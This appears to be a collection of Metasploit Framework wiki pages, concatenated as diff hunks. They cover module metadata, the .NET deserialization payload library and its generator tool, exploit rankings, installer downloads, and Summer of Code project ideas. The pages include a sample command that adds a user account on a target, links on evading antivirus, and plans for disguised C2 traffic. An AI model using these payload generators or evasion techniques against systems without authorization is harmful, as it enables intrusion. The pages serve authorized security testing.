# All new modules must contain the below information. See below for more details for allowed values
'Notes' => {
'Stability' => [...],
'Reliability' => [...],
'SideEffects' => [...]
}
)
)
end
```
## Allowed Values
### Stability
| Constant | Description |
| -------------- | ------------- |
| CRASH_SAFE | Module should not crash the service or OS |
| CRASH_SERVICE_RESTARTS | Module may crash the service, but it will restart |
| CRASH_SERVICE_DOWN | Module may crash the service, and remain down |
| CRASH_OS_RESTARTS | Module may crash the OS, but it will restart |
| CRASH_OS_DOWN | Module may crash the OS, and remain down |
| SERVICE_RESOURCE_LOSS | Module causes a resource to be unavailable for the service |
| OS_RESOURCE_LOSS | Module causes a resource to be unavailable for the OS |
### Side Effects
| Constant | Description |
| -------------- | ------------- |
| ARTIFACTS_ON_DISK | Module leaves a payload, a dropper, etc, on the target machine |
| CONFIG_CHANGES | Module modifies some config file |
| IOC_IN_LOGS | Module leaves an indicator of compromise in the log(s) |
| ACCOUNT_LOCKOUTS | Module may cause an account to lock out |
| SCREEN_EFFECTS | Module shows something on the screen that a human may notice |
| PHYSICAL_EFFECTS | Module may produce physical effects in hardware (Examples: light, sound, or heat) |
| AUDIO_EFFECTS | Module may cause a noise (Examples: Audio output from the speakers or hardware beeps) |
### Reliability
| Constant | Description |
| -------------- | ------------- |
| FIRST_ATTEMPT_FAIL | The module may fail for the first attempt |
| REPEATABLE_SESSION | The module is expected to get a session every time it runs |
| UNRELIABLE_SESSION | The module isn't expected to get a shell reliably (such as only once) |
@@ -0,0 +1,138 @@
Metasploit includes a library for leveraging .NET deserialization attacks. Using
it within a module is very straight forward, the module author just needs to
know two things: the gadget chain and the formatter. The library uses the same
names for each of these values as the [YSoSerial.NET][1] project for
compatibility, although the Metasploit library only supports a subset of the
functionality.
## Support Matrix
The following table outlines the supported gadget chains, formatters and the
compatibility of each.
| Gadget Chain Name | BinaryFormatter | LosFormatter | SoapFormatter |
| --------------------------- | --------------- | ------------ | ------------- |
| ClaimsPrincipal | Yes | Yes | Yes |
| TextFormattingRunProperties | Yes | Yes | Yes |
| TypeConfuseDelegate | Yes | Yes | No |
| WindowsIdentity | Yes | Yes | Yes |
## Basic Usage
The library is located in `Msf::Util::DotNetDeserialization` and contains the
following methods which are intended for use by module authors.
* `#generate(cmd, gadget_chain:, formatter:)`
This function will generate a serialized payload to execute the specified
operating system command *cmd*. The command is serialized using the
specified *gadget_chain* and formatted with the specified *formatter*. The
*gadget_chain* and *formatter* options will be specific to the vulnerability
that is being executed. This functions returns a string.
* `#generate_formatted(stream, formatter:)`
Format a `SerializedStream` object, as created by `#generate_gadget_chain`.
The *stream* will be formatted using the specified *formatter* and returned
as a string.
* `#generate_gadget_chain(cmd, gadget_chain:)`
Create a gadget chain to run the specified operating system command *cmd*.
This returns a `SerializedStream` object which can be inspected and modified
but must formatted (using `#generate_formatted`) before it is useful.
`#generate` is the primary function and is functionally equivalent to the
following. In the future the `#generate_*` functions may contain additional
options specific to their respective chain or formatter.
```ruby
stream = generate_gadget_chain(cmd, gadget_chain)
formatted = generate_formatted(stream, formatter)
```
### Example Usage
The following example uses the `TextFormattingRunProperties` gadget chain
formatted with the `LosFormatter`.
```ruby
serialized = ::Msf::Util::DotNetDeserialization.generate(
cmd, # this is the Operating System command to run
gadget_chain: :TextFormattingRunProperties,
formatter: :LosFormatter
)
```
## Command Line Tool
The library also has an interface available as a standalone command line tool
which is suitable for creating payloads for single-use research purposes. This
tool `dot_net.rb` is available in the `tools/payloads/ysoserial` directory. The
arguments for this tool are aligned with those of [YSoSerial.NET][1], allowing
the arguments of basic invocations to be the same. It should be noted however
that the [supported](#support-matrix) gadgets and formatters are not the same.
Help output:
```
Usage: ./dot_net.rb [options]
Generate a .NET deserialization payload that will execute an operating system
command using the specified gadget chain and formatter.
Available formatters:
* BinaryFormatter
* LosFormatter
* SoapFormatter
Available gadget chains:
* TextFormattingRunProperties
* TypeConfuseDelegate
* WindowsIdentity
Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
Specific options:
-c, --command <String> The command to run
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
--list-output-formats List available output formats, for use with --output
-h, --help Show this message
```
The `-g` / `--gadget` option maps to the *gadget_chain* argument for the
generate functions while the `-f` / `--formatter` arguments maps to the
*formatter* argument.
## Making Changes
Adding new gadget chains and formatters involves creating a new file in the
respective library directory: [`lib/msf/util/dot_net_deserialization`][2]. The
"native" gadget chain type is implemented following the [MS-NRBF][3] format and
the [Bindata][4] records as defined in [`types/`][5] subdirectory. Once the new
gadget chain or formatter is implemented, it needs to be added to the main
library file ([`dot_net_deserialization.rb`][6]).
Since serialization chain generate is deterministic, a [unit test][7] should be
added for any new gadget chain to ensure that the checksum of the
BinaryFormatter representation is consistent.
## Further Reading
Since the .NET deserialization gadgets run operating system commands, the
following resources can be helpful for module developers to deliver native
payloads such as Meterpreter.
* [How to use command stagers][8]
* [How to use Powershell in an exploit][9]
[1]: https://github.com/pwntester/ysoserial.net
[2]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
[3]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
[4]: https://github.com/dmendel/bindata
[5]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
[6]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
[7]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
[8]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
[9]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit
@@ -0,0 +1,33 @@
## Metasploit Framework Installers
These include Metasploit Framework only. Updates are built about once a day.
See [[Nightly-Installers]] for installation instructions for Windows, OS X and Linux.
## Metasploit Pro Installers
These include the Pro UI as well as Framework.
Updates are released about once every other week for Windows and Linux.
The pgp signatures below can be verified with the following [public key](https://pgp.mit.edu/pks/lookup?op=get&search=0xCDFB5FA52007B954)
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)|
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)|
| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc)|
| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc)|
| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc)|
| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc)|
| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc)|
| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc)|
| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc)|
## Metasploit Framework Source
Please see the [Metasploit framework releases page](https://github.com/rapid7/metasploit-framework/releases) for the release versions of Metasploit Framework.
@@ -0,0 +1,9 @@
# Evading Anti Virus
## Read these links
* [Why encoding does not matter, and how Metasploit generates exes](https://www.scriptjunkie.us/2011/04/)
* [Facts and myths about antivirus evasion with Metasploit](http://schierlm.users.sourceforge.net/avevasion.html)
* [Using metasm to avoid antivirus detection ghost writing asm](https://web.archive.org/web/20200330111926/https://www.pentestgeek.com/penetration-testing/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm)
There are approximately 14 million other resources out there on the why's and wherefores of evading antivirus, but the about articles should get you started.
@@ -0,0 +1,37 @@
Every exploit module has been assigned a rank based on its potential impact to the target system. Users can search, categorize, and prioritize exploits based on rankings.
The ranking is implemented by adding a `Rank` constant at the top of the class declaration in a module:
```ruby
class MetasploitModule < Msf::Exploit
Rank = LowRanking
def initialize(info={})
...
end
...
end
```
The ranking values are one of the following, in descending order of reliability:
| Ranking | Description |
| ------- | ----------- |
| **ExcellentRanking** | The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances ([WMF Escape()](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb)). |
| **GreatRanking** | The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. |
| **GoodRanking** | The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). Exploit does not auto-detect the target. |
| **NormalRanking** | The exploit is otherwise reliable, but depends on a specific version that is not the "common case" for this type of software and can't (or doesn't) reliably autodetect. |
| **AverageRanking** | The exploit is generally unreliable or difficult to exploit, but has a success rate of 50% or more for common platforms. |
| **LowRanking** | The exploit is nearly impossible to exploit (under 50% success rate) for common platforms. |
| **ManualRanking** | The exploit is unstable or difficult to exploit and is basically a DoS (15% success rate or lower). This ranking is also used when the module has no use unless specifically configured by the user (e.g.: [exploit/unix/webapp/php_eval](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/php_eval.rb)). |
The ranking value is available the module Class object as well as instances:
```ruby
modcls = framework.exploits["windows/browser/ie_createobject"]
modcls.rank # => 600
modcls.rank_to_s # => "excellent"
mod = modcls.new
mod.rank # => 600
mod.rank_to_s # => "excellent"
```
@@ -0,0 +1,33 @@
### This is how the application was submitted on 2017-02-08. Please make no more edits
--
Please don't use markdown here, we have to paste it into a form. All answers are limited to 1000 chars.
--
**Why does your org want to participate in Google Summer of Code?**
The story of Metasploit Framework's creation and development over the last 13 years is one of community collaboration to create and hone tools useful to a wide range of security practitioners. Its broad functionality, combined with the deep domain knowledge of the mentors, offers a unique opportunity for students to learn about security and exploit development. Many of our contributors are established exploit developers and penetration testers who have years of industry experience that they can share with students. We hope that the experience will inspire students to continue contributing to open source security, as well as providing them with invaluable real-world training in development, security, and remote collaboration.
**How will you keep mentors engaged with their students?**
All of our mentors are long-time development team members who have a history of helping new users and contributors. Many of our mentors specialize in certain parts of the framework, so depending on the student's interests, we will match them with the most complementary mentor. Our project administrators will regularly check in with mentors and students to ensure that the relationship is productive and progressing as expected.
**How will you help your students stay on schedule to complete their projects?**
First, we will ask students to use GitHub's Projects to track progress in real time as they are working. Mentors will help students divide projects into manageable chunks with measurable milestones. This will help students learn how to manage and break up tasks on large scale projects. Additionally, students and mentors will need to collaborate on a weekly status report that describes their progress and send it to the mailing list.
**How will you get your students involved in your community during GSoC?**
Students will use the same channels that all our contributors use: IRC and GitHub. Students will follow the same procedures of code review that all our contributors follow. By providing them with the same communication channels that our community uses, we hope to encourage the students to interact and collaborate with other contributors and users and to explore additional resources beyond their mentor. Hopefully, this process will give them a network of support and illustrate the advantages of working with other minds.
**How will you keep students involved with your community after GSoC?**
Based on the success of the project, we will encourage students to apply for committer rights at the conclusion of GSoC, include them in Metasploit roadmap discussions, and invite them to special community events. After the conclusion of GSoC we will encourage students to write about their experience on Metasploit's community blog, which will give their work greater exposure to the overall security community.
@@ -0,0 +1,175 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[GSoC 2017 Student Proposal]] for how to make a proposal.
### Submit your own
If you want to suggest your own idea, please discuss it with us first on [our mailing list](https://groups.google.com/forum/#!forum/metasploit-hackers) to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project.
--
# Console side
### Convert between `CMD_UNIX` and the interpreted language architectures
Perl, Python, and Ruby scripts can all be run via a short command line invocation. It would be nice to be able to use these payloads in `ARCH_CMD` contexts as well as their own separate architectures (`ARCH_PYTHON`, `ARCH_RUBY`). This would allow modules that exploit command injection vulnerabilities to use python meterpreter in particular.
**Difficulty**: 4/5
**Requirements**: Ruby, Python, bash/sh
**Mentor**: [@wvu](https://github.com/wvu-r7) [@sempervictus](https://github.com/sempervictus)
### Automated exploit reliability scoring
Automatically run a module over and over, determine success rates.
**Mentor**: [@busterb](https://github.com/busterb)
### Exploit regression testing
Set up automated testing using something like Vagrant to spin up and configure vulnerable machines, run exploits against them.
### A categorical focus
Something like "make all X exploits badass", or add a full suite of modules around particular gear or vendor stack.
**Requirements**: Ruby
**Mentor**: [@hdm](https://github.com/hdm)
### Allow post modules to take a payload
As it stands, the framework defines anything that takes a payload to be an exploit. Because post-exploitation modules cannot take a payload, things that want to drop an executable for persistence are implemented as local exploits (in the `exploit/*/local` namespace instead of `post/*/persistence`). This project would give those kinds of modules a more consistent interface.
Once this is done, we can move the `exploit/*/local` modules that aren't actually exploits back to `post/`
**Difficulty**: 3/5
**Requirements**: Ruby
**Mentor**: [@egypt](https://github.com/egypt)
### SMB2 support
(see also [ruby_smb project](https://github.com/rapid7/ruby_smb))
**Difficulty**: 5/5
**Mentor**: [@egypt](https://github.com/egypt)
### Filesystem sessions
The idea here is to create a new session type for authenticated protocols that give you filesystem access. The simplest is FTP, so that's where we should start. We'll need several pieces for this to work:
1. A new session interface in `Msf::Sessions` (`lib/msf/base/sessions/`). This should be abstract enough that we can implement protocols other than FTP in the future.
1. A mapping of protocol details to that interface.
1. A new command dispatcher implementing at least these commands: `upload`, `download`, `ls`, `cd`
1. We'll need to modify `auxiliary/scanner/ftp/ftp_login` to create one of these awesome new sessions when authentication is successful.
**Difficulty**: 2/5
**Requirements**: Ruby
### SMB-based file transport for Meterpreter
The idea here is to create a transport that allows Meterpreter and Console to talk via File handles opened via UNC path. In cases where 445 is allowed outbound, Meterpreter can open file handles to a UNC path that MSF is listening on, and they can communicate on those file handles. For this to work we need:
1. A new transport that knows how to operate over SMB file handles
* In particular, one file handle is used for writing, and one for reading.
1. New stagers that use the Win32 API to open file handles to a given UNC path.
* Most of this is already done in a PR for named pipe transport support, and so a few changes to those stagers should result in it working fine for this.
1. To come up with a method/protocol that both Console and Meterpreter can use to identify when new sessions come in.
Given that SMB file reading and writing is already a thing, this shouldn't be too hard on the MSF side.
**Difficulty**: 3/5
**Requirements**: Ruby & SMB
**Mentor**: [@OJ](https://github.com/oj) and/or [@egypt](https://github.com/egypt)
--
# Payload side
### Malleable HTTP/S C2 for Meterpreter
Currently, the attributes that one can set for how a Meterpreter payload appears at the HTTP level are limited. We would like the ability to set and add arbitrary HTTP headers to requests and responses, so that the traffic appears more realistic.
**Difficulty**: 5/5
**Requirements**: C, Ruby. Bonus: Python, PHP
**Mentor**: [@busterb](https://github.com/busterb)
### Asynchronous victim-side scripting
Using either Python or Powershell (or maybe both if it can be abstract enough). This could allow things like running Responder.py or Empire on a compromised host.
**Difficulty**: 4/5
**Requirements**: C, Python/Powershell
**Mentor**: [@OJ](https://github.com/oj)
### Use SChannel in native Windows Meterpreter instead of embedded OpenSSL
[SChannel](https://msdn.microsoft.com/en-us/library/windows/desktop/ms678421(v=vs.85).aspx) is Windows' built-in TLS library.
**Difficulty**: 3/5
**Requirements**: C, Windows systems programming
**Mentor**: [@OJ](https://github.com/oj)
### SMB-based file transport for Meterpreter
This is the Meterpreter side of the SMB transport mentioned in the Console section. For this to work we need:
1. A new Meterpreter transport that uses file handles to read and write data over SMB to talk to MSF.
* Use the named pipe transport PR to see how this might work.
1. Full support of the "protocol" that has been designed so that MSF knows when sessions come in.
**Difficulty**: 2/5
**Requirements**: C, Windows systems programming
**Mentor**: [@OJ](https://github.com/oj)
--
# Metasploitable3
[Metasploitable3](https://github.com/rapid7/metasploitable3) is an
intentionally vulnerable virtual machine. It was created to be a
learning tool for new users as well as a place to test Metasploit and
its payloads.
### Linux: add vulnerabilities
**Requirements**: Vagrant
### Windows: add vulnerabilities
**Requirements**: Vagrant
--
# Miscellaneous
### Replace `msftidy` with a real linter
[Our current module style checker](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/msftidy.rb) is a mass of regular expressions attempting to look for bad patterns. It could be much improved by using a real lexer. We could use rubocop as a base for this.
This could also dovetail into an ongoing documentation project.
**Difficulty**: 2/5
**Requirements**: Ruby
# Potential Mentors
All of the following folks have expressed willingness to be mentors.
* [@busterb](https://github.com/busterb)
* [@egypt](https://github.com/egypt)
* [@hdm](https://github.com/hdm)
* [@jhart-r7](https://github.com/jhart-r7)
* [@jinq102030](https://github.com/jinq102030)
* [@mubix](https://github.com/mubix)
* [@OJ](https://github.com/oj)
* [@sempervictus](https://github.com/sempervictus)
* [@wvu](https://github.com/wvu-r7)
* [@zeroSteiner](https://github.com/zeroSteiner)
@@ -0,0 +1,28 @@
Send the following to msfdev@metasploit.com
## Title
A brief description of what you would like to work on. See [[GSoC-2017-Project-Ideas]] for ideas.
## Vitals
* Your name
* Contact info - include at least:
- an email address
- github user name
- Freenode nick
## Skillz
What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well.
What other projects have you worked on before?
## Your project
Fill in the details. What exactly do you want to accomplish?
@@ -0,0 +1,99 @@
GSoC Project Ideas in no particular order.
Mentors: @busterb, @zerosteiner, @timwr, @asoto-r7, @jmartin-r7, @pbarry-r7, @mkienow-r7, @jbarnett-r7
## Enhance Metasploit Framework
### Improving the Post-exploit / Meterpreter functionality
Examples could include:
* Sending keystrokes and mouse movement to a Meterpreter session
* HTML based VNC style session control
e.g https://github.com/rapid7/metasploit-framework/pull/9196 but accepting user input from the browser
* Playing (streaming?) sounds to a Meterpreter session
* Implementing the streaming record mechanism from more Meterpreter sessions
* Text-to-speech and volume control
* Fun behaviors
- Ejecting the CD-ROM drive
- Flipping the screen upside down
- Changing screen colors
- Turning the monitor on/off
- Ordering donuts
* MessageBox or live chat functionality
(e.g "This machine is vulnerable to MS17-010, you must run Windows Update!")
* Overlaying an image or even HTML on the user interface
Difficulty: Varies
### Improving post-exploit API to be more consistent, work smoothly across session types
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, powershell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
* Shell sessions do not implement the filesystem API that Meterpreter sessions have
* When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these.
* Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily.
Difficulty: Varies
## Add meta-shell commands
Shell sessions typically expose a direct connection to a remote shell, but are lacking a number of nice features such as the ability to stop a remote command, background a command (this could be advanced or depend on the underlying session), or to even lock the session. This project would implement some pre-processing hooks to shell sessions so that job control could be added by default (allowing backgrounding of commands), meta-commands like 'background' and 'sessions' could be added as well.
Difficulty: 3/5
### Improve the web vulnerability API
This would follow up on the Arachni plugin PR <https://github.com/rapid7/metasploit-framework/pull/8618> and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners.
Difficulty: 4/5
### Session-style module interaction
Metasploit has the concept of 'sessions' where a connection context can define its own set of console operations. E.g. if you interact with a session, Metasploit switches to a specific subconsole for interaction. It would be nice as an alternative to 'action' for auxiliary modules, or as a way to merge related modules, to simply interact with the module.
Difficulty: 3/5
### Integration plugin with a 3rd-party post-exploit framework
Connect a 3rd-party post-exploitation framework with Metasploit, such as Empire, Pupy, or Koadic, so that Metasploit can view and interact with sessions outside of its own types. Being able to use outside stagers in exploits, or adding the ability to 'upgrade' a session to an outside session type are other possibilities.
Difficulty 3/5
## Enhance Metasploitable3
### Create a Simulated Active Directory Domain
Expand functionality of the existing Windows 2008 VM to act as a domain controller. The setup should include a number of users of varying roles, multiple group policy objects and settings, and logon scripts or application deployments. Considerations should be taken on how and where to include purposeful vulnerabilities within these settings.
Difficulty 2/5
### Configure a Mock Corporate Network
Currently metasploitable3 consists of two separate virtual machines with all currently configured vulnerable services available with a simple network connection. This should be expanded to include a larger number of VMs with services spread across them to better simulate a real world environment. Considerations must be taken for deploying this on systems with varying hardware availability, or look into different cloud providers.
Difficulty 4/5
### Add Monitoring Capabilities Between VMs
Metasploitable3 is already a playground from an attacker's point of view, but how can we make it valuable from a defender's perspective. Research various network monitoring and detections solutions and implement them across the mock network. Set up a new "NOC" VM for keeping track of activity and watching for intrusion. This goal is to make it fairly simple for anyone to set up a red team vs blue team mock environment.
Difficulty 5/5
## Goliath
### Data Visualization
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps.
[Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176)
Difficulty 3/5
### Elasticsearch Datastore
Write Goliath data to Elasticsearch. Explore data visualization using Kibana.
Difficulty 3/5
## Submit your own
If you want to suggest your own idea, please discuss it with us first on [our mailing list](https://groups.google.com/forum/#!forum/metasploit-hackers) to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project.
@@ -0,0 +1 @@
TBD!
@@ -0,0 +1,58 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @zerosteiner, @jmartin-r7
## Enhance Metasploit Framework
### Improving post-exploit API to be more consistent, work smoothly across session types
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, powershell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
* Shell sessions do not implement the filesystem API that Meterpreter sessions have
* When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these.
* Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily.
Difficulty: Varies
### Improve the web vulnerability API
This would follow up on the Arachni plugin PR <https://github.com/rapid7/metasploit-framework/pull/8618> and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners.
Difficulty: 4/5
### Session-style module interaction
Metasploit has the concept of 'sessions' where a connection context can define its own set of console operations. E.g. if you interact with a session, Metasploit switches to a specific subconsole for interaction. It would be nice as an alternative to 'action' for auxiliary modules, or as a way to merge related modules, to simply interact with the module.
Difficulty: 3/5
### Enhance Sql Injection Support
Enable faster implementation of SQL injection based explot modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Difficulty: 3/5
### Conditionally Exposed Options
The Metasploit Framework's modules offer the core functionality of the project and these each use a set of datastore options for configuration. Many modules specify a particular system that they target or action that they provide. Modules should (but currently lack) the ability to expose and hide options through the UI based on either the target or action that they take. This would allow module developers to create more flexible modules without sacrificing user experience by exposing options that are irrelevant based on the current configuration.
Difficulty: 2/5
## Goliath
### Data Visualization
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps.
[Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176)
Difficulty 3/5
### Elasticsearch Datastore
Write Goliath data to Elasticsearch. Explore data visualization using Kibana.
Difficulty 3/5
## Submit your own
If you want to suggest your own idea, please discuss it with us first on [our mailing list](https://groups.google.com/forum/#!forum/metasploit-hackers) to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project.
@@ -0,0 +1,44 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @zerosteiner, @jmartin-r7
## Enhance Metasploit Framework
### Retain active status of authentication tokens
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for regstering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Difficulty: 2/5
### Improving post-exploit API to be more consistent, work smoothly across session types
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, powershell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
* Shell sessions do not implement the filesystem API that Meterpreter sessions have
* When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these.
* Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily.
Difficulty: Varies
### Improve the web vulnerability API
This would follow up on the Arachni plugin PR <https://github.com/rapid7/metasploit-framework/pull/8618> and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners.
Difficulty: 4/5
### Data Visualization
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps.
[Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176)
Difficulty 3/5
### Elasticsearch Datastore
Write Goliath data to Elasticsearch. Explore data visualization using Kibana.
Difficulty 3/5
## Submit your own
